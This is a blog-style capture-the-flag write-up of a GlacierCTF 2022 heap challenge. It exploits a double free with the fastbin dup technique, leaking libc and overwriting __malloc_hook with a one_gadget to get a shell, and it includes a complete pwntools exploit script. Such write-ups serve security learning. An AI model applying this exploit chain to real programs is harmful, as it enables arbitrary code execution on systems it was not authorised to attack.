GlacierCTF 2022 (Heap — Fastbin Dup)

trustie_rity
9 min readSep 16, 2023

Old_dayz is a heap challenge that was in Glacier CTF 2022and has a double free vulnerability allowing us to use the fastbin dup heaptechnique to execute arbitrary code.

To check security mitigations that were used at the time of compiling this binary we can do the following :

➜  fastbin_dup checksec old.bak
[*] '/home/hacker/lab/Heap_challs/fastbin_dup/old.bak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
➜ fastbin_dup ldd old_patched
linux-vdso.so.1 (0x00007ffdaebaf000)
libc.so.6 => ./libc.so.6 (0x00007fee4be00000)
./ld.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fee4c20c000)

Using lddutility in linux we can see that i have already used patchelfto make sure the binary is using the correct libc and linker.The catch when doing so is to make sure the libc name is renamed to libc.so.6.The general functionality of this binary is it allows us to request chunks , edit , delete , view and write into them. This is properly shown below on the program menu:

➜  fastbin_dup ./old.bak
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 1
idx:
1
size:
23
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> [1] 1127470 alarm ./old.bak

From the above data we can see we already have a problem. The alarm clock will keep ruining our moods! The easiest way i have found to patch binaries, at least when you don’t have to write a whole new instruction to do something , is using cutter the radare GUI tool.

In cutter you can right click the instruction and patch it with nop instruction code, this will automatically update your binary and hence you don’t need to export it from cutter. For this to work make sure you are in the disassembly tab and you opened the binary in write mode.

➜  fastbin_dup ./old_patched
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 1
idx:
1
size:
12
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 1
idx:
2
size:
12
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 2
idx:
1
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 2
idx:
2
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 2
idx:
1
[1] Add
[2] Delete
[3] Write
[4] View
[5] Exit
> 2
idx:
1
*** Error in `./old_patched': double free or corruption (fasttop): 0x00005558a38c1010 ***
[1] 1129391 IOT instruction ./old_patched

From the above output we can see that we are able to free the first chunk twice but on trying to free it the third time the program quits complaining about a double free!

Lets visualize this in gdb , use this script for starts off :

#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']

elf = ELF("./old_patched")
p = elf.process()

# gdb hack
def _new_binary():
return "gdb-pwndbg"
gdb.binary = _new_binary
gdbscript = """
c
"""
sla = lambda a,b: p.sendlineafter(a,b)
s = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
rl = lambda : p.recvline()

gdb.attach(p , gdbscript=gdbscript)

def add(idx, size):
sla(b"> " , b"1")
sla(b"idx: " , str(idx).encode())
sla(b"size: " , str(size).encode())

def delete(idx):
sla(b"> " , b"2")
sla(b"idx: " , str(idx).encode())

def write(idx, contents):
sla(b"> " , b"3")
sla(b"idx: " , str(idx).encode())
sla(b"contents: " , contents)

def view(idx):
sla(b"> " , b"4")
sla(b"idx: " , str(idx).encode())
ru(b"data: ")
leak = ru(b"[")
return leak

add(0,24)
add(1,24)
add(2,24)

delete(0)
delete(1)
delete(0)

p.interactive()

Run the script and visualize the memory in gdb as follows:

Look at that, we have turned a non-circular list of fastbins to a circular list. This shows that the binary is vulnerable to a double free vulnerability! Essentially we can use the fastbin dupheap technique to play around with this binary.

Since we have seen that we can leverage fastbin duptechnique, we can check how free works in order to see whether we can take advantage of it to leak an address that can help us.

Free functionimplementation allows it to work in this various way to the chunks being freed.

  1. If the chunk fits into a fastbin, put it on the corresponding fastbin, and we’re done.
  2. If the chunk is greater than 64KB, consolidate the bins immediately and put the resulting merged chunks on the unsorted bin.
  3. Merge the chunk backwards and forwards with neighboring freed chunks in the small, large, and unsorted bins.
  4. If the resulting chunk lies at the top of the heap, merge it into the top of the heap rather than storing it in a bin.
  5. Otherwise store it in the unsorted bin. (Malloc will later do the work to put entries from the unsorted bin into the small or large bins).

Equiped with this knowledge we can request a chunk large enough to be stored in as an unsorted bin after we free it. Say 0x80 sized chunk, and lets see what happens in gdb after we free it!

We can see that the user data of the large chunk now contains a pointer address in libc. This libc address is contained in the list of unsorted binsand holds the chunk that was freed. How is this so?
Well, unlike the tcache/fastbins which have a singly linked list the unsorted binis a doubly linked list therefore thefd of the unsorted binwill point to itself which is already in the libc.
Since we have a way to read/view the pointers in the heap memory of freed chunks , we can leak thislibc address gracefully using the following code.

leak = view(0).rstrip(b"[")
leak = u64(leak.ljust(8,b"\x00"))
libc = elf.libc
libc.address = leak - 0x3c4b78
log.info(f"Libc base @ : {hex(libc.address)}")

Now we can use leverage the fastbin duptechnique to get code execution! We can use the following lines of code to reproduce the circular list again:

# make use of fastbin dup technique
add(2 , 24)
add(3 , 24)

delete(2)
delete(3)
delete(2)

We can see in gdb that this works as expected, and now we can see that we have the power to leverage where malloc will write to next since we control the third entry on the fastbins list. This third entry can be overwritten with the user data we write to when we request the chunk…

My thinking is we can overwrite the entry with an address to __malloc_hook then write a one_gadget address there that will pop a shell for use : ) Lets try that …
First lets add this lines of code to the script and run it.

malloc_hook = libc.sym.__malloc_hook
add(2,24)
write(2, p64(malloc_hook))

We see in gdb that indeed the pointer has been overwritten :

Now we can request for two chunks, after that the third chunk will overwrite __malloc_hook with our user data, lets request three chunks now and if all is well we can use 0xdeadbeef as our data for starters! Depending on how the heap looks and how you have messed around with it , you might find that the fourth chunk is the one overwriting __malloc_hook with our user data.

The program fails with a memory corruption error and more inspection in gdb reveals that , this is because the data around __malloc_hook does not resemble a real chunk. For example we need to write to a place where there is a size field ! We can utilize find_fake_fast command in pwndbg to get a chunk close to __malloc_hook address.

It finds a chunk with 0x7f size field by dis alligning the addresses in memory to use some of the most significant bits of an address and some of the least significant bits of another address. The f in the malloc’s metadata flag won’t be an issue for now! This address also looks like a struct in libctherefore it will always be there even on production environment!

To make sure that our chunks fit this use case , we need to change the sizes of the chunks we have been requesting to 0x70-8 this will allow us to use this fake chunk that is 35 bytes away from __malloc_hook. After this we can now send our data to overwrite malloc hook, here’s the modified script( a lot has been modified but there are comments to help you understand).

# start of attack
add(0,0x80)
write(0, b"chunk 0")
add(1,24)
write(1, b"chunk 1")
add(2,24)
write(2, b"chunk 2")
add(3,24)
write(3, b"chunk 3")
add(4,24)
write(4, b"chunk 4")
# leak libc address
delete(0)

leak = view(0).rstrip(b"[")
leak = u64(leak.ljust(8,b"\x00"))
libc = elf.libc
libc.address = leak - 0x3c4b78
log.info(f"Libc base @ : {hex(libc.address)}")

# keep the unsorted bin full , so that we dont get allocations from there!
add(0,0x80)
write(0 ,b"A"*30)

# make use of fastbin dup technique

add(2, 0x60)
add(3, 0x60)
delete(2)
delete(3)
delete(2)

malloc_hook = libc.sym.__malloc_hook
add(2,0x60)
write(2, p64(malloc_hook-35)+b"After fake chunk")
add(3,0x60)
write(3 , b"B"*10)
add(4,0x60)
write(4 , b"C"*10)
add(5,0x60)
log.info(f"Fake chunk @ : {hex(malloc_hook - 35)}")
write(5 , b"A" * 19 + b"0xdeadbeef")

p.interactive()

On gdb we can see that we have successfully overwritten __malloc_hook with our user data! Now we can use one_gadget tool to get suitable address to place at __malloc_hook!

➜  fastbin_dup one_gadget libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

We can run the script again to check which gadget constraints will be satisfied at the time of calling the gadget.

The gadget with offset 0x30 might work! lets give it a try.

And indeed it works! , The output from above shows a child process being spawned that allows us to execute the shell program. The following is the whole code used for this exploit.

#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']

elf = ELF("./old_patched")
p = elf.process()

# gdb hack
def _new_binary():
return "gdb-pwndbg"
gdb.binary = _new_binary
gdbscript = """
c
"""
sla = lambda a,b: p.sendlineafter(a,b)
s = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
rl = lambda : p.recvline()

#gdb.attach(p , gdbscript=gdbscript)

def add(idx, size):
sla(b"> " , b"1")
sla(b"idx: " , str(idx).encode())
sla(b"size: " , str(size).encode())

def delete(idx):
sla(b"> " , b"2")
sla(b"idx: " , str(idx).encode())

def write(idx, contents):
sla(b"> " , b"3")
sla(b"idx: " , str(idx).encode())
sla(b"contents: " , contents)

def view(idx):
sla(b"> " , b"4")
sla(b"idx: " , str(idx).encode())
ru(b"data: ")
leak = ru(b"[")
return leak

add(0,0x80)
write(0, b"chunk 0")
add(1,24)
write(1, b"chunk 1")
add(2,24)
write(2, b"chunk 2")
add(3,24)
write(3, b"chunk 3")
add(4,24)
write(4, b"chunk 4")
# leak libc address
delete(0)

leak = view(0).rstrip(b"[")
leak = u64(leak.ljust(8,b"\x00"))
libc = elf.libc
libc.address = leak - 0x3c4b78
log.info(f"Libc base @ : {hex(libc.address)}")

# keep the unsorted bin full , so that we dont get allocations from there!
add(0,0x80)
write(0 ,b"A"*30)

# make use of fastbin dup technique

add(2, 0x60)
add(3, 0x60)
delete(2)
delete(3)
delete(2)

malloc_hook = libc.sym.__malloc_hook
add(2,0x60)
write(2, p64(malloc_hook-35)+b"After fake chunk")
add(3,0x60)
write(3 , b"B"*10)
add(4,0x60)
write(4 , b"C"*10)
add(5,0x60)
log.info(f"Fake chunk @ : {hex(malloc_hook - 35)}")
write(5 , b"A" * 19 + p64(libc.address + 0x4527a))

# trigger the exploit
sla(b"> " , b"1")
sla(b"idx: " , str(8).encode())
sla(b"size: " , str(10).encode())

p.interactive()

This was a long one, if you enjoyed give it a thumbs up and i will appreciate! Your feedback is also highly appreciated. Thank your for taking your time to read through this!

Linus Torvalds: talk is cheap, show me some code!
Refs : https://gist.github.com/xct/87ee193e28f66813a9e309cf29a4bc3cz
Refs : https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/

--

--

trustie_rity

Offensive Penetration Tester | M4lici0s Lif3 | Find video walkthroughs on my yt channel: https://www.youtube.com/@trustie_rity